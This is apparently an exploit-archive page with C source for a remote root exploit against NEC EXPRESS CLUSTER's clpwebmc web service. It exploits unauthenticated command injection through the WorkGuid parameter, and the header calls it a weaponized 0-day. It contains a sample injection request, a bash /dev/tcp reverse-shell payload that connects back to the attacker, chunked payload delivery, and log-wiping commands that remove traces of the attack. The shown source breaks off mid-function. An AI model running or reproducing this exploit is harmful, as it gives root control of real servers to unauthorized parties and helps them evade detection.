NEC EXPRESS CLUSTER clpwebmc Remote Root

NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster configuration and management. The underlying webserver 'clpwebmc' runs as root and accepts connections on TCP port 29003 which can be initiated without authentication in the default installation.


MD5 | 26dd4a65030970268243b44404d0f359

/* 
* 2017 update: as of 3.3.4 this bug seems to be fixed
* - fixed versions:
* NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
* NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64)
*/
/*
* *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE ***
*
* NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015
* <[email protected]>
*
* - product description:
* NEC EXPRESS CLUSTER is a family of integrated high availability and disaster
* recovery software solutions that address the fast recovery and continuous
* protection needs of business critical applications and data. With increased
* servers and complexity of server applications running Windows or Linux,
* EXPRESS CLUSTER minimizes planned and unplanned system outages.
*
* - vulnerability description:
* NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster
* configuration and management. The underlying webserver 'clpwebmc' runs as
* root and accepts connections on TCP port 29003 which can be initiated without
* authentication in the default installation.
*
* A function is available to remove temporary work directories by issuing the
* following GET request to port 29003, appended with the location of the
* directory that is supposed to be deleted:
* GET /DeleteWorkDirectory.js?WorkGuid=directoryname
*
* The working of the DeleteWorkDirectory.js HTTP request roughly translates to
* the following C code:
*
* void
* remove_dir_path(char *WorkGuidParameter)
* {
* char x[128];
* snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s",
* WorkGuidParameter);
* system(x);
* }
*
* No input sanitation is performed and the supplied arguments are passed
* straight on to system(). By setting the WorkGuid parameter to '0' and
* appending a semicolon followed by arbritrary commands it is possible to
* execute those commands as root on the remote machine.
*
* Example HTTP GET request with command injection:
* GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt
*
* Which results on the remote host:
* $ ls -la /tmp/id.txt
* -rw-rw-rw- 1 root root 57 Apr 20 16:37 /tmp/id.txt
* $ cat /tmp/id.txt
* uid=0(root) gid=0(root) groups=0(root)
*
* - tested vulnerable versions:
* NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6
* NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6
* NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6
* NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5
* NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5
*
* - tested versions not vulnerable:
* NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4
*
* - exploit details:
* This exploit is fully "weaponized" as they call it nowadays. It starts a
* listening port on the attacking host and connects back from the victim host
* using bash /dev/tcp redirection. The attacking host cannot be behind NAT or
* run a firewall due to the nature of connect-back.
*
* A payload system is utilised where commands are encoded to hex and split into
* chunks. These chunks are then sent one by one to the victim host and appended
* to a temporary file using 'echo -ne'. The temporary file gets executed in the
* last request.
*
* For OPSEC purposes the temporary file will destroy itself and
* all traces of the exploit and your IP will be deleted from these log files:
* /opt/nec/clusterpro/log/webmgr.log.cur
* /opt/nec/clusterpro/log/webmgr.err.cur
*
* - exploit compilation:
* gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2
*
* - the exploit connect-back listener is confirmed to work on:
* CentOS 6
* Fedora 22
* OS X 10.10.5
*
*/

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"

#define HEAD "HEAD / HTTP/1.1"
#define CLPWEBMCPORT 29003
#define DEFAULTPORT 8080
#define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */
#define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */
#define AUTH "Authorization: admin:"
#define HTTP " HTTP/1.1\n"
#define CRLF "\n\n"

#define BUFSIZE 1024
#define MAXPROCCMD 194 /* max len of request.c: process_command parameter */

#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n"

#define CHMOD "chmod 755 "
#define OVERWRITE "head -1024 /dev/urandom>"
#define UNLINK "rm -f "
#define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s"
#define ECHO "%secho -ne \"%s\">>%s%s"
#define LOG "/opt/nec/clusterpro/log/webmgr"
#define ECPATH "/opt/nec/clusterpro/0"
/* use the logged info leak GET request to find out the IP to connect-back */
#define CONNECTBACK "(/bin/bash 0</dev/tcp/" \
"$(grep GetConfiguration %s.log.cur|" \
"grep IP=|tail -1|tr ':' '\\n'|" \
"grep Root=1|cut -d, -f1)" \
"/%d 1>&0 2>&0) &"
/* remove all log entries that reveal the vulnerability, exploit and our IP */
#define ANTIFOR "(sleep 5;for x in log err;do " \
"grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \
"cat %s.0>%s.$x.cur;" \
"rm -f %s.0;" \
"done) &"
/* TMPPATH is the remote directory where the payload will be stored, you could
* use /tmp but there's a fair chance that the sysadmin has mounted that with
* 'noexec'
*/
#define TMPPATH "/opt/nec/clusterpro/log"

int sock;
int listsock;
int list_s;
int flags;
int port = CLPWEBMCPORT;
int connectback = DEFAULTPORT;

extern char *__progname;
char *host;
char *md5;

int
validport(int port, char *p)
{
if ((port < 1) || (port > 65535)) {
printf("error: %d is an invalid %s port\n", port, p);
return(1);
}

return(0);
}

void
usage()
{
printf("usage: %s -h <host> [-p|-c|-m]\n", __progname);
printf("\t-p [port (default: %d)]\n", port);
printf("\t-c [connect-back port (default: %d)]\n", connectback);
printf("\t-m [admin user md5 hash]\n\n");
exit(1);
}

char
*genrandom()
{
int len = strlen(TMPPATH) + 8;
int n;

char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz";
char *r = malloc(sizeof(char)*(len + 1));

sprintf(&r[0], "%s/", TMPPATH);

srand(time(NULL));
for (n = strlen(TMPPATH) + 1; n < len; n++)
r[n] = s[rand() % strlen(s)];

r[len] = '\0';

return(r);
}

int
opensock(char *host, unsigned short int port)
{
int s;

struct hostent *target;
struct sockaddr_in addr;

target = gethostbyname(host);
if (target == NULL) {
perror("gethostbyname");
exit(1);
}

s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (s == -1) {
perror("socket");
exit(1);
}

memcpy(&addr.sin_addr, target->h_addr, target->h_length);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);

if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
perror("connect");
exit(1);
}

return(s);
}

void
sendsock(char *buf)
{
char readbuf[1024];

if (strlen(buf) >= MAXPROCCMD) {
printf("sendsock() max len exceeded");
exit(1);
}

sock = opensock(host, port);
if (write(sock, buf, strlen(buf)) < 0) {
perror("write");
exit(1);
}

if (write(sock, CRLF, strlen(CRLF)) < 0) {
perror("write");
exit(1);
}

if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) {
perror("read");
exit(1);
}

if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) {
if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL)
printf("[!] md5 hash is invalid %s\n", md5);
else
printf("[!] unknown error: [%s][%lu]\n", readbuf,
strlen(readbuf));

exit(1);
}

#ifdef VERBOSE
printf("[-] sendsock(): HTTP/1.1 200 OK\n");
Related Posts